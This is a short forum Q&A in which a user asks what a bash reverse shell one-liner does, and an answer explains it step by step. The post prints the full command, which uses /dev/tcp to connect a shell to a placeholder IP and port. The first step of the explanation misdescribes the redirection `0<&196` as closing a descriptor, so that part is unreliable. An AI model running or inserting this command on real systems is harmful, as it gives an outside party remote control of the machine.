Linux bash reverse shell with piping

Question

I have been trying to understand those bash commands. Can someone explain it?

0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196

Answer 1

This will:

1) 0<&196 : Close the file descriptor '196' (to be used by the next command).

2) exec 196<>/dev/tcp/IP/PORT : Create a new file (/dev/tcp/IP/PORT) with the descriptor '196', if the IP and port are valid; bash will try to open a TCP connection.

3) sh <&196 >&196 2>&196 : Redirect any traffic from the IP/PORT specified in the previous command to "sh", and direct the STDOUT and STDERR to the same pipe, this way a reverse shell is created to the specified IP and commands can be run from it with the STDOUT and STDERR directed to it.

Refer to the Redirections section in the Bash reference manual.